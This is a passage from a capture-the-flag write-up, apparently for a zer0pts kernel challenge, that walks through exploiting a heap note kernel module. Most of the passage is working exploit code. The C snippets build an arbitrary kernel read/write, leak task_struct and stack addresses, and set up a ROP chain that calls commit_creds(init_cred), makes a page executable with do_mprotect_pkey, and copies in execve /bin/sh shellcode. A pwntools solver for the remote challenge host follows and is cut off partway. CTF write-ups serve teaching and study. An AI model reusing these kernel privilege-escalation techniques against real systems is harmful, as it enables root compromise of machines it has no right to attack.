primitive. To do this, I used negative indexing into one of the earlier
self pointers to overwrite index 1 of the buffer array to point to
the address of index 0. This would allow me to easily forge addresses from index 1 to
arbitrarily read and write via index 0.</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span style="background-color: whitesmoke;"> </span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> evil[] = {module_data_base+</span><span class="hljs-number">0x3c0</span><span style="background-color: whitesmoke;">, module_data_base+</span><span class="hljs-number">0x3c0</span><span style="background-color: whitesmoke;">,
module_data_base+</span><span class="hljs-number">0x3d0</span><span style="background-color: whitesmoke;">, module_data_base+</span><span class="hljs-number">0x3d0</span><span style="background-color: whitesmoke;">,
module_text_base+</span><span class="hljs-number">0x1fb</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, module_data_base+</span><span class="hljs-number">0x400</span><span style="background-color: whitesmoke;">};
edit(fd, </span><span class="hljs-number">-8</span><span style="background-color: whitesmoke;">, </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(evil), (</span><span class="hljs-type" style="color: #a31515;">char</span><span style="background-color: whitesmoke;"> *)&evil);</span>
</span></p><p>Arbitrary read and write in the kernel with KASLR bypassed… this should
be quite trivial to pwn now right? Unfortunately, this is where the
limited userland heap note interface affects us. As mentioned earlier,
we can’t overwrite strings used in <code>call_usermodehelper</code>; if you were to overwrite for example <code>modprobe_path <span style="font-family: Times New Roman;">or</span></code><code> core_pattern</code>, how could you trigger it from the safe userland interface? The classic privilege escalation ROP payload with just <code>commit_creds</code> wouldn’t work either as this heap interface doesn’t have a shell popping function to return to.</p><p>For now, I decided to first find the userland interface’s task struct as
this could contain information that would lead to interesting
avenues of exploitation. Even though the kernel doesn’t export data
symbols, we can find task struct pretty easily based on <a href="https://elixir.bootlin.com/linux/v5.16.14/source/init/main.c#L929"><code>start_kernel</code></a>. As the interface is probably the last process launched, we can just walk once on the prev pointer in the tasks <code>list_head</code>. I can verify this via the <code>comm</code>
field (which should hold the process name). In the snippet below, it is
the name of my C exploit rather than the interface binary.</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span style="background-color: whitesmoke;"> </span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> init_task = kernel_base + </span><span class="hljs-number">0xe12580</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"init_task: 0x%llx\n"</span><span style="background-color: whitesmoke;">, init_task);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> task_ll = init_task + </span><span class="hljs-number">0x2f8</span><span style="background-color: whitesmoke;">;
edit(fd, </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">, </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;">), &task_ll);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> curr_task;
show(fd, </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;">), &curr_task);
edit(fd, </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">, </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;">), &curr_task);
show(fd, </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">0x500</span><span style="background-color: whitesmoke;">, buffer);
assert(memmem(buffer, </span><span class="hljs-number">0x500</span><span style="background-color: whitesmoke;">, </span><span class="hljs-string" style="color: #a31515;">"exploit"</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">7</span><span style="background-color: whitesmoke;">));
curr_task -= </span><span class="hljs-number">0x2f0</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"current task: 0x%llx\n"</span><span style="background-color: whitesmoke;">, curr_task);</span>
</span></p><p>Looking at <code>task_struct</code>, I noticed an interesting field. Specifically there is a <a href="https://elixir.bootlin.com/linux/v5.16.14/source/include/linux/sched.h#L744"><code>stack</code> pointer</a>
that points to a location at a relatively close and constant
offset from the value of rsp in kernel when our specific userland
process triggers a switch into kernel mode. There’s probably more to the <a href="https://stackoverflow.com/questions/59054053/linux-kernel-task-struct-void-stack">field</a> than just this, but it’s enough for our exploitation purposes.</p><p>With that field, we should be able to ROP when the module
ioctl handler returns. I made my ROP chain escalate creds, change permissions of the userland
process to rwx, and write our own shellcode into it before having the handler trampoline back. This would allow us to pop a shell on the safe userland interface as we just rewrote its memory from kernelspace.</p><p>
</p><p>One last issue is that the userland binary has ASLR and PIE. To find out the
addresses to abuse in userland, we can arb read the kernel stack during
an ioctl as syscall handlers would have pushed userspace registers. We
can easily grab a userland PIE (or userland ASLR library address) and stack pointer from this.</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span style="background-color: whitesmoke;"> </span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> stack_ptr = curr_task + </span><span class="hljs-number">0x20</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> </span><span class="hljs-built_in" style="color: blue;">stack</span><span style="background-color: whitesmoke;"> = </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">;
edit(fd, </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">, </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;">), &stack_ptr);
show(fd, </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;">), &</span><span class="hljs-built_in" style="color: blue;">stack</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"current thread stack: 0x%llx\n"</span><span style="background-color: whitesmoke;">, </span><span class="hljs-built_in" style="color: blue;">stack</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> syscall_stack = </span><span class="hljs-built_in" style="color: blue;">stack</span><span style="background-color: whitesmoke;"> + </span><span class="hljs-number">0x3e88</span><span style="background-color: whitesmoke;">;
edit(fd, </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">, </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;">), &syscall_stack);
show(fd, </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">0x150</span><span style="background-color: whitesmoke;">, buffer);
hexprint(buffer, </span><span class="hljs-number">0x150</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> userland_pie = </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> userland_stack = </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-built_in" style="color: blue;">memcpy</span><span style="background-color: whitesmoke;">(&userland_pie, &buffer[</span><span class="hljs-number">0x128</span><span style="background-color: whitesmoke;">], </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;">));
</span><span class="hljs-built_in" style="color: blue;">memcpy</span><span style="background-color: whitesmoke;">(&userland_stack, &buffer[</span><span class="hljs-number">0x130</span><span style="background-color: whitesmoke;">], </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;">));
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"userland pie: 0x%llx\n"</span><span style="background-color: whitesmoke;">, userland_pie);
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"userland stack: 0x%llx\n"</span><span style="background-color: whitesmoke;">, userland_stack);</span>
</span></p><p>From here on out, the exploit will be quite simple. We want to <code>commit_creds(init_cred)</code>, utilize <code>do_mprotect_pkey</code> to make our leaked userland PIE’s page rwx (this is the internal function used by <code>__x64_sys_mprotect</code>), and then <code>copy_to_user</code>
shellcode there. To store shellcode for the kernel to user copy, I
allocated a buffer from driver to store it and leaked its heap
address. After those ROP chain operations, I utilized the classic kpti
trampoline from <code>swapgs_restore_regs_and_return_to_usermode</code> to return back to our rwx page.</p><p>
</p><p>Here is the final snippet of the C exploit:</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span style="background-color: whitesmoke;"> </span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> sc_leaker = module_data_base + </span><span class="hljs-number">0x410</span><span style="background-color: whitesmoke;">;
add(fd, </span><span class="hljs-number">2</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">0x1000</span><span style="background-color: whitesmoke;">);
edit(fd, </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">, </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;">), &sc_leaker);
</span><span class="hljs-type" style="color: #a31515;">char</span><span style="background-color: whitesmoke;"> sc_buf[</span><span class="hljs-number">0x1000</span><span style="background-color: whitesmoke;">] = {</span><span class="hljs-number">0x0</span><span style="background-color: whitesmoke;">};
</span><span class="hljs-built_in" style="color: blue;">memset</span><span style="background-color: whitesmoke;">(sc_buf, </span><span class="hljs-number">0x90</span><span style="background-color: whitesmoke;">, </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(sc_buf));
</span><span class="hljs-type" style="color: #a31515;">char</span><span style="background-color: whitesmoke;"> sc[] = </span><span class="hljs-string" style="color: #a31515;">"\x48\xB8\x2F\x62\x69\x6E\x2F\x73\x68\x00\x50\x48\x89\xE7\x6A\x00\x57\x48\xC7\xC0\x3B\x00\x00\x00\x48\x89\xE6\x6A\x00\x48\x89\xE2\x0F\x05"</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-built_in" style="color: blue;">memcpy</span><span style="background-color: whitesmoke;">(&sc_buf[</span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(sc_buf) - </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;"> - </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(sc)], sc, </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(sc));
edit(fd, </span><span class="hljs-number">2</span><span style="background-color: whitesmoke;">, </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(sc_buf), sc_buf);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> sc_leak = </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">;
show(fd, </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;">), &sc_leak);
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"shellcode buffer leak: 0x%llx\n"</span><span style="background-color: whitesmoke;">, sc_leak);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> stored_rip = </span><span class="hljs-built_in" style="color: blue;">stack</span><span style="background-color: whitesmoke;"> + </span><span class="hljs-number">0x3eb0</span><span style="background-color: whitesmoke;">;
edit(fd, </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">, </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;">), &syscall_stack);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> kpti_trampoline = kernel_base + (</span><span class="hljs-number">0xffffffff81800e10</span><span style="background-color: whitesmoke;">ull - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">ull) + </span><span class="hljs-number">0x16</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> copy_to_user = kernel_base + (</span><span class="hljs-number">0xffffffff81269780</span><span style="background-color: whitesmoke;">ull - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">ull);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> do_mprotect_pkey = kernel_base + (</span><span class="hljs-number">0xffffffff811224f0</span><span style="background-color: whitesmoke;"> - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">ull);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> poprdi = kernel_base + (</span><span class="hljs-number">0xffffffff8114078a</span><span style="background-color: whitesmoke;">ull - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">ull);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> poprsi = kernel_base + (</span><span class="hljs-number">0xffffffff810ce28e</span><span style="background-color: whitesmoke;">ull - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">ull);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> poprdx = kernel_base + (</span><span class="hljs-number">0xffffffff81145369</span><span style="background-color: whitesmoke;">ull - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">ull);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> poprcx = kernel_base + (</span><span class="hljs-number">0xffffffff810eb7e4</span><span style="background-color: whitesmoke;">ull - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">ull);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> init_cred = kernel_base + (</span><span class="hljs-number">0xffffffff81e37a60</span><span style="background-color: whitesmoke;">ull - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">ull);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> commit_cred = kernel_base + (</span><span class="hljs-number">0xffffffff810723c0</span><span style="background-color: whitesmoke;">ull - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">ull);
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"do_mprotect_pkey: 0x%llx\n"</span><span style="background-color: whitesmoke;">, do_mprotect_pkey);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> rop[] = {
poprdi,
(userland_pie & </span><span class="hljs-number">0xfffffffffffff000</span><span style="background-color: whitesmoke;">),
poprsi,
</span><span class="hljs-number">0x1000</span><span style="background-color: whitesmoke;">,
poprdx,
</span><span class="hljs-number">7</span><span style="background-color: whitesmoke;">,
poprcx,
</span><span class="hljs-number">0xffffffffffffffff</span><span style="background-color: whitesmoke;">,
do_mprotect_pkey,
poprdi,
(userland_pie & </span><span class="hljs-number">0xfffffffffffff000</span><span style="background-color: whitesmoke;">),
poprsi,
sc_leak,
poprdx,
</span><span class="hljs-number">0x1000</span><span style="background-color: whitesmoke;">,
copy_to_user,
poprdi,
init_cred,
commit_cred,
kpti_trampoline,
</span><span class="hljs-number">0xbaadf00d</span><span style="background-color: whitesmoke;">,
</span><span class="hljs-number">0xdeadbeef</span><span style="background-color: whitesmoke;">,
(userland_pie & </span><span class="hljs-number">0xfffffffffffff000</span><span style="background-color: whitesmoke;">),
</span><span class="hljs-number">0x33</span><span style="background-color: whitesmoke;">,
</span><span class="hljs-number">0x200</span><span style="background-color: whitesmoke;">,
userland_stack,
</span><span class="hljs-number">0x2b</span><span style="background-color: whitesmoke;">,
};
edit(fd, </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(rop), &rop);</span>
</span></p><p>My teammate Ryaagard helped port it over to Python pwntools
script to interface with the remote instance. Here is our final solver:</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span class="hljs-comment" style="color: green;">#!/usr/bin/env python3</span><span style="background-color: whitesmoke;">
</span><span class="hljs-keyword" style="color: blue;">from</span><span style="background-color: whitesmoke;"> pwn </span><span class="hljs-keyword" style="color: blue;">import</span><span style="background-color: whitesmoke;"> *
binary = </span><span class="hljs-string" style="color: #a31515;">"./interface"</span><span style="background-color: whitesmoke;">
elf = context.binary = ELF(binary)
context.newline = </span><span class="hljs-string" style="color: #a31515;">b'\r\n'</span><span style="background-color: whitesmoke;">
sla = </span><span class="hljs-keyword" style="color: blue;">lambda</span><span style="background-color: whitesmoke;"> x, y: p.sendlineafter(x, y)
sl = </span><span class="hljs-keyword" style="color: blue;">lambda</span><span style="background-color: whitesmoke;"> x: p.sendline(x)
ru = </span><span class="hljs-keyword" style="color: blue;">lambda</span><span style="background-color: whitesmoke;"> x: p.recvuntil(x)
</span><span class="hljs-keyword" style="color: blue;">def</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">add</span><span style="background-color: whitesmoke;">(</span><span class="hljs-params">index, size</span><span style="background-color: whitesmoke;">):
sla(</span><span class="hljs-string" style="color: #a31515;">'> '</span><span style="background-color: whitesmoke;">, </span><span class="hljs-string" style="color: #a31515;">'1'</span><span style="background-color: whitesmoke;">)
sla(</span><span class="hljs-string" style="color: #a31515;">'index: '</span><span style="background-color: whitesmoke;">, </span><span class="hljs-built_in" style="color: blue;">str</span><span style="background-color: whitesmoke;">(index))
sla(</span><span class="hljs-string" style="color: #a31515;">'size: '</span><span style="background-color: whitesmoke;">, </span><span class="hljs-built_in" style="color: blue;">str</span><span style="background-color: whitesmoke;">(size))
</span><span class="hljs-keyword" style="color: blue;">def</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">edit</span><span style="background-color: whitesmoke;">(</span><span class="hljs-params">index, data</span><span style="background-color: whitesmoke;">):
buf = </span><span class="hljs-string" style="color: #a31515;">''</span><span style="background-color: whitesmoke;">
</span><span class="hljs-keyword" style="color: blue;">for</span><span style="background-color: whitesmoke;"> b </span><span class="hljs-keyword" style="color: blue;">in</span><span style="background-color: whitesmoke;"> data:
buf += </span><span class="hljs-built_in" style="color: blue;">str</span><span style="background-color: whitesmoke;">(</span><span class="hljs-built_in" style="color: blue;">hex</span><span style="background-color: whitesmoke;">(b)[</span><span class="hljs-number">2</span><span style="background-color: whitesmoke;">:].rjust(</span><span class="hljs-number">2</span><span style="background-color: whitesmoke;">, </span><span class="hljs-string" style="color: #a31515;">'0'</span><span style="background-color: whitesmoke;">))
sla(</span><span class="hljs-string" style="color: #a31515;">'> '</span><span style="background-color: whitesmoke;">, </span><span class="hljs-string" style="color: #a31515;">'2'</span><span style="background-color: whitesmoke;">)
sla(</span><span class="hljs-string" style="color: #a31515;">'index: '</span><span style="background-color: whitesmoke;">, </span><span class="hljs-built_in" style="color: blue;">str</span><span style="background-color: whitesmoke;">(index))
sla(</span><span class="hljs-string" style="color: #a31515;">'size: '</span><span style="background-color: whitesmoke;">, </span><span class="hljs-built_in" style="color: blue;">str</span><span style="background-color: whitesmoke;">(</span><span class="hljs-built_in" style="color: blue;">len</span><span style="background-color: whitesmoke;">(buf)//</span><span class="hljs-number">2</span><span style="background-color: whitesmoke;">))
sla(</span><span class="hljs-string" style="color: #a31515;">'data: '</span><span style="background-color: whitesmoke;">, buf)
</span><span class="hljs-keyword" style="color: blue;">def</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">show</span><span style="background-color: whitesmoke;">(</span><span class="hljs-params">index, size</span><span style="background-color: whitesmoke;">):
sla(</span><span class="hljs-string" style="color: #a31515;">'> '</span><span style="background-color: whitesmoke;">, </span><span class="hljs-string" style="color: #a31515;">'3'</span><span style="background-color: whitesmoke;">)
sla(</span><span class="hljs-string" style="color: #a31515;">'index: '</span><span style="background-color: whitesmoke;">, </span><span class="hljs-built_in" style="color: blue;">str</span><span style="background-color: whitesmoke;">(index))
sla(</span><span class="hljs-string" style="color: #a31515;">'size: '</span><span style="background-color: whitesmoke;">, </span><span class="hljs-built_in" style="color: blue;">str</span><span style="background-color: whitesmoke;">(size))
</span><span class="hljs-keyword" style="color: blue;">def</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">free</span><span style="background-color: whitesmoke;">(</span><span class="hljs-params">index</span><span style="background-color: whitesmoke;">):
sla(</span><span class="hljs-string" style="color: #a31515;">'> '</span><span style="background-color: whitesmoke;">, </span><span class="hljs-string" style="color: #a31515;">'4'</span><span style="background-color: whitesmoke;">)
sla(</span><span class="hljs-string" style="color: #a31515;">'index: '</span><span style="background-color: whitesmoke;">, </span><span class="hljs-built_in" style="color: blue;">str</span><span style="background-color: whitesmoke;">(index))
</span><span class="hljs-keyword" style="color: blue;">def</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">getleak</span><span style="background-color: whitesmoke;">():
buf = </span><span class="hljs-string" style="color: #a31515;">b''</span><span style="background-color: whitesmoke;">
ru(</span><span class="hljs-string" style="color: #a31515;">'Data: '</span><span style="background-color: whitesmoke;">)
leak = ru(</span><span class="hljs-string" style="color: #a31515;">'\n'</span><span style="background-color: whitesmoke;">)[:-</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">].split()
</span><span class="hljs-keyword" style="color: blue;">for</span><span style="background-color: whitesmoke;"> b </span><span class="hljs-keyword" style="color: blue;">in</span><span style="background-color: whitesmoke;"> leak:
buf += p8(</span><span class="hljs-built_in" style="color: blue;">int</span><span style="background-color: whitesmoke;">(b, </span><span class="hljs-number">16</span><span style="background-color: whitesmoke;">))
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> buf
p = remote(</span><span class="hljs-string" style="color: #a31515;">"pwn3.ctf.zer0pts.com"</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">9009</span><span style="background-color: whitesmoke;">)
cmd = ru(</span><span class="hljs-string" style="color: #a31515;">'\n'</span><span style="background-color: whitesmoke;">).strip().split()
</span><span class="hljs-built_in" style="color: blue;">print</span><span style="background-color: whitesmoke;">(cmd)
x = process(cmd)
</span><span class="hljs-built_in" style="color: blue;">pow</span><span style="background-color: whitesmoke;"> = x.recv().strip().split()[</span><span class="hljs-number">2</span><span style="background-color: whitesmoke;">]
x.close()
</span><span class="hljs-built_in" style="color: blue;">print</span><span style="background-color: whitesmoke;">(</span><span class="hljs-built_in" style="color: blue;">pow</span><span style="background-color: whitesmoke;">)
ru(</span><span class="hljs-string" style="color: #a31515;">'token: '</span><span style="background-color: whitesmoke;">)
p.send(</span><span class="hljs-built_in" style="color: blue;">pow</span><span style="background-color: whitesmoke;"> + </span><span class="hljs-string" style="color: #a31515;">b'\n'</span><span style="background-color: whitesmoke;">)
show(-</span><span class="hljs-number">8</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">0x40</span><span style="background-color: whitesmoke;">)
buf = getleak()
</span><span class="hljs-built_in" style="color: blue;">print</span><span style="background-color: whitesmoke;">(hexdump(buf))
module_data_base = u64(buf[:</span><span class="hljs-number">8</span><span style="background-color: whitesmoke;">]) - </span><span class="hljs-number">0x3c0</span><span style="background-color: whitesmoke;">
module_text_base = module_data_base - </span><span class="hljs-number">0x2000</span><span style="background-color: whitesmoke;">
log.success(</span><span class="hljs-string" style="color: #a31515;">'module_data_base: %#X'</span><span style="background-color: whitesmoke;"> % module_data_base)
log.success(</span><span class="hljs-string" style="color: #a31515;">'module_text_base: %#X'</span><span style="background-color: whitesmoke;"> % module_text_base)
show(-</span><span class="hljs-number">4</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">0x20</span><span style="background-color: whitesmoke;">)
buf = getleak()
</span><span class="hljs-built_in" style="color: blue;">print</span><span style="background-color: whitesmoke;">(hexdump(buf))
relative_rip = u32(buf[</span><span class="hljs-number">0xc</span><span style="background-color: whitesmoke;">:</span><span class="hljs-number">0xc</span><span style="background-color: whitesmoke;">+</span><span class="hljs-number">4</span><span style="background-color: whitesmoke;">])
log.info(</span><span class="hljs-string" style="color: #a31515;">'rel rip: %#X'</span><span style="background-color: whitesmoke;"> % relative_rip)
kernel_base = (module_text_base + </span><span class="hljs-number">0x20b</span><span style="background-color: whitesmoke;"> + relative_rip - </span><span class="hljs-number">0x14e240</span><span style="background-color: whitesmoke;">) % </span><span class="hljs-number">0xfff00000</span><span style="background-color: whitesmoke;"> | (</span><span class="hljs-number">0xffffffff</span><span style="background-color: whitesmoke;"> << </span><span class="hljs-number">32</span><span style="background-color: whitesmoke;">);
kernel_base -= </span><span class="hljs-number">0x10000000</span><span style="background-color: whitesmoke;">;
log.success(</span><span class="hljs-string" style="color: #a31515;">'kernel base: %#X'</span><span style="background-color: whitesmoke;"> % kernel_base)
evil = p64(module_data_base+</span><span class="hljs-number">0x3c0</span><span style="background-color: whitesmoke;">) * </span><span class="hljs-number">2</span><span style="background-color: whitesmoke;">
evil += p64(module_data_base+</span><span class="hljs-number">0x3d0</span><span style="background-color: whitesmoke;">) * </span><span class="hljs-number">2</span><span style="background-color: whitesmoke;">
evil += p64(module_text_base+</span><span class="hljs-number">0x1fb</span><span style="background-color: whitesmoke;">)
evil += p64(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">)
evil += p64(</span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">) * </span><span class="hljs-number">3</span><span style="background-color: whitesmoke;">
evil += p64(module_data_base+</span><span class="hljs-number">0x400</span><span style="background-color: whitesmoke;">)
</span><span class="hljs-built_in" style="color: blue;">print</span><span style="background-color: whitesmoke;">(hexdump(evil))
edit(-</span><span class="hljs-number">8</span><span style="background-color: whitesmoke;">, evil)
init_task = kernel_base + </span><span class="hljs-number">0xe12580</span><span style="background-color: whitesmoke;">;
log.success(</span><span class="hljs-string" style="color: #a31515;">'info_task: %#X'</span><span style="background-color: whitesmoke;"> % init_task)
task_ll = init_task + </span><span class="hljs-number">0x2f8</span><span style="background-color: whitesmoke;">
edit(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">, p64(task_ll))
show(</span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">8</span><span style="background-color: whitesmoke;">)
curr_task = u64(getleak())
edit(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">, p64(curr_task))
show(</span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">0x500</span><span style="background-color: whitesmoke;">)
buf = getleak()
</span><span class="hljs-keyword" style="color: blue;">assert</span><span style="background-color: whitesmoke;"> </span><span class="hljs-string" style="color: #a31515;">b'interface'</span><span style="background-color: whitesmoke;"> </span><span class="hljs-keyword" style="color: blue;">in</span><span style="background-color: whitesmoke;"> buf
curr_task -= </span><span class="hljs-number">0x2f0</span><span style="background-color: whitesmoke;">
log.success(</span><span class="hljs-string" style="color: #a31515;">'curr_task: %#X'</span><span style="background-color: whitesmoke;"> % curr_task)
stack_ptr = curr_task + </span><span class="hljs-number">0x20</span><span style="background-color: whitesmoke;">
edit(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">, p64(stack_ptr))
show(</span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">8</span><span style="background-color: whitesmoke;">)
stack = u64(getleak())
log.success(</span><span class="hljs-string" style="color: #a31515;">'stack ptr: %#X'</span><span style="background-color: whitesmoke;"> % stack)
syscall_stack = stack + </span><span class="hljs-number">0x3e88</span><span style="background-color: whitesmoke;">
edit(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">, p64(syscall_stack))
show(</span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">0x150</span><span style="background-color: whitesmoke;">)
buf = getleak()
